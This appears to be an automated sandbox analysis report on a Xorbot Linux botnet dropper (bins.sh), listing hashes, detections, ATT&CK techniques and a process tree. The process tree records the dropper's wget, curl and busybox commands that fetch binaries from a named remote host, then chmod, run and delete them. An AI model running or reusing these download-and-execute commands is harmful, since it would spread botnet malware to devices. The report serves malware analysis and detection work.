xorbot | 708ae525b410e3cca9d47fa560e0b28ed7802bf285bb2407565cf2d69dd2be14

Analysis

max time kernel
150s
max time network
154s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
20-02-2025 13:02

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General

Target

bins.sh
Size

10KB
MD5

c8064cc9db54f4cb15d6d6ebeacd0aa6
SHA1

6aaa3e1d4fb62c9a5f835e1c91bb5b5cf83c6fc6
SHA256

708ae525b410e3cca9d47fa560e0b28ed7802bf285bb2407565cf2d69dd2be14
SHA512

f7fba0727b6d5b1358bbcbada9fb73741a80cb81719484e8c92fa4f3765baa0ceb7d31beadfde4b68a415fc45f99508eb0a50bed8e6ad9b9755803c8769cca78
SSDEEP

192:aSrLnLjLKLlLtLrVu1Vp2nrb91pXG7LE573LnLjLKLlLtLsVp2nrbH1pXG7LCfn:aSvL3ItFrVuYN1pXG7LEl7L3ItF931pr

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 4 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-5.dat	family_xorbot
behavioral4/files/fstream-7.dat	family_xorbot
behavioral4/files/fstream-9.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
834	chmod
842	chmod
851	chmod
803	chmod
826	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/Ivj588NtGjJFMwBCqRQggF5f1a051VnM86	805	bins.sh
/tmp/aFYtx8VbVlONVHib9RsWnANfwE2BHXFydz	827	bins.sh
/tmp/BSmsvmsmj0uKK9BqTB2BnasbZ0JH1fcFQB	835	bins.sh
/tmp/IUnlrlxLZuxcjnMHNYO2fA2j5IovHL6VCG	843	bins.sh
/tmp/JAPrgFOT5DOm3lKYSmMGyAvhGSfFVi4twT	852	bins.sh

Reads runtime system information 6 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 17 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
715	wget
739	busybox
846	wget
849	busybox
723	curl
820	curl
825	busybox
831	curl
839	curl
847	curl
856	curl
809	wget
833	busybox
838	wget
830	wget
841	busybox
855	wget

Writes file to tmp directory 13 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/BSmsvmsmj0uKK9BqTB2BnasbZ0JH1fcFQB	curl
File opened for modification	/tmp/BSmsvmsmj0uKK9BqTB2BnasbZ0JH1fcFQB	busybox
File opened for modification	/tmp/IUnlrlxLZuxcjnMHNYO2fA2j5IovHL6VCG	wget
File opened for modification	/tmp/IUnlrlxLZuxcjnMHNYO2fA2j5IovHL6VCG	curl
File opened for modification	/tmp/JAPrgFOT5DOm3lKYSmMGyAvhGSfFVi4twT	curl
File opened for modification	/tmp/j0feBwCR4JsrrGSTNOp8bhj2dE9UNQd8dq	wget
File opened for modification	/tmp/Ivj588NtGjJFMwBCqRQggF5f1a051VnM86	curl
File opened for modification	/tmp/aFYtx8VbVlONVHib9RsWnANfwE2BHXFydz	curl
File opened for modification	/tmp/aFYtx8VbVlONVHib9RsWnANfwE2BHXFydz	busybox
File opened for modification	/tmp/BSmsvmsmj0uKK9BqTB2BnasbZ0JH1fcFQB	wget
File opened for modification	/tmp/JAPrgFOT5DOm3lKYSmMGyAvhGSfFVi4twT	wget
File opened for modification	/tmp/Ivj588NtGjJFMwBCqRQggF5f1a051VnM86	wget
File opened for modification	/tmp/aFYtx8VbVlONVHib9RsWnANfwE2BHXFydz	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:706
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:709
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Ivj588NtGjJFMwBCqRQggF5f1a051VnM86
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:715
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Ivj588NtGjJFMwBCqRQggF5f1a051VnM86
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:723
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Ivj588NtGjJFMwBCqRQggF5f1a051VnM86
  2⤵
  - System Network Configuration Discovery
  PID:739
- /bin/chmod
  chmod 777 Ivj588NtGjJFMwBCqRQggF5f1a051VnM86
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/Ivj588NtGjJFMwBCqRQggF5f1a051VnM86
  ./Ivj588NtGjJFMwBCqRQggF5f1a051VnM86
  2⤵
  PID:805
- /bin/rm
  rm Ivj588NtGjJFMwBCqRQggF5f1a051VnM86
  2⤵
  PID:808
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/aFYtx8VbVlONVHib9RsWnANfwE2BHXFydz
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:809
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/aFYtx8VbVlONVHib9RsWnANfwE2BHXFydz
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:820
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/aFYtx8VbVlONVHib9RsWnANfwE2BHXFydz
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:825
- /bin/chmod
  chmod 777 aFYtx8VbVlONVHib9RsWnANfwE2BHXFydz
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/aFYtx8VbVlONVHib9RsWnANfwE2BHXFydz
  ./aFYtx8VbVlONVHib9RsWnANfwE2BHXFydz
  2⤵
  PID:827
- /bin/rm
  rm aFYtx8VbVlONVHib9RsWnANfwE2BHXFydz
  2⤵
  PID:829
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BSmsvmsmj0uKK9BqTB2BnasbZ0JH1fcFQB
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:830
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BSmsvmsmj0uKK9BqTB2BnasbZ0JH1fcFQB
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:831
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BSmsvmsmj0uKK9BqTB2BnasbZ0JH1fcFQB
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:833
- /bin/chmod
  chmod 777 BSmsvmsmj0uKK9BqTB2BnasbZ0JH1fcFQB
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/BSmsvmsmj0uKK9BqTB2BnasbZ0JH1fcFQB
  ./BSmsvmsmj0uKK9BqTB2BnasbZ0JH1fcFQB
  2⤵
  PID:835
- /bin/rm
  rm BSmsvmsmj0uKK9BqTB2BnasbZ0JH1fcFQB
  2⤵
  PID:837
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/IUnlrlxLZuxcjnMHNYO2fA2j5IovHL6VCG
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:838
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/IUnlrlxLZuxcjnMHNYO2fA2j5IovHL6VCG
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:839
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/IUnlrlxLZuxcjnMHNYO2fA2j5IovHL6VCG
  2⤵
  - System Network Configuration Discovery
  PID:841
- /bin/chmod
  chmod 777 IUnlrlxLZuxcjnMHNYO2fA2j5IovHL6VCG
  2⤵
  - File and Directory Permissions Modification
  PID:842
- /tmp/IUnlrlxLZuxcjnMHNYO2fA2j5IovHL6VCG
  ./IUnlrlxLZuxcjnMHNYO2fA2j5IovHL6VCG
  2⤵
  PID:843
- /bin/rm
  rm IUnlrlxLZuxcjnMHNYO2fA2j5IovHL6VCG
  2⤵
  PID:845
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/JAPrgFOT5DOm3lKYSmMGyAvhGSfFVi4twT
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:846
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/JAPrgFOT5DOm3lKYSmMGyAvhGSfFVi4twT
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:847
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/JAPrgFOT5DOm3lKYSmMGyAvhGSfFVi4twT
  2⤵
  - System Network Configuration Discovery
  PID:849
- /bin/chmod
  chmod 777 JAPrgFOT5DOm3lKYSmMGyAvhGSfFVi4twT
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/JAPrgFOT5DOm3lKYSmMGyAvhGSfFVi4twT
  ./JAPrgFOT5DOm3lKYSmMGyAvhGSfFVi4twT
  2⤵
  PID:852
- /bin/rm
  rm JAPrgFOT5DOm3lKYSmMGyAvhGSfFVi4twT
  2⤵
  PID:854
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/j0feBwCR4JsrrGSTNOp8bhj2dE9UNQd8dq
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:855
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/j0feBwCR4JsrrGSTNOp8bhj2dE9UNQd8dq
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/BSmsvmsmj0uKK9BqTB2BnasbZ0JH1fcFQB

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/IUnlrlxLZuxcjnMHNYO2fA2j5IovHL6VCG

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/Ivj588NtGjJFMwBCqRQggF5f1a051VnM86

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/JAPrgFOT5DOm3lKYSmMGyAvhGSfFVi4twT

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/aFYtx8VbVlONVHib9RsWnANfwE2BHXFydz

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/j0feBwCR4JsrrGSTNOp8bhj2dE9UNQd8dq

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit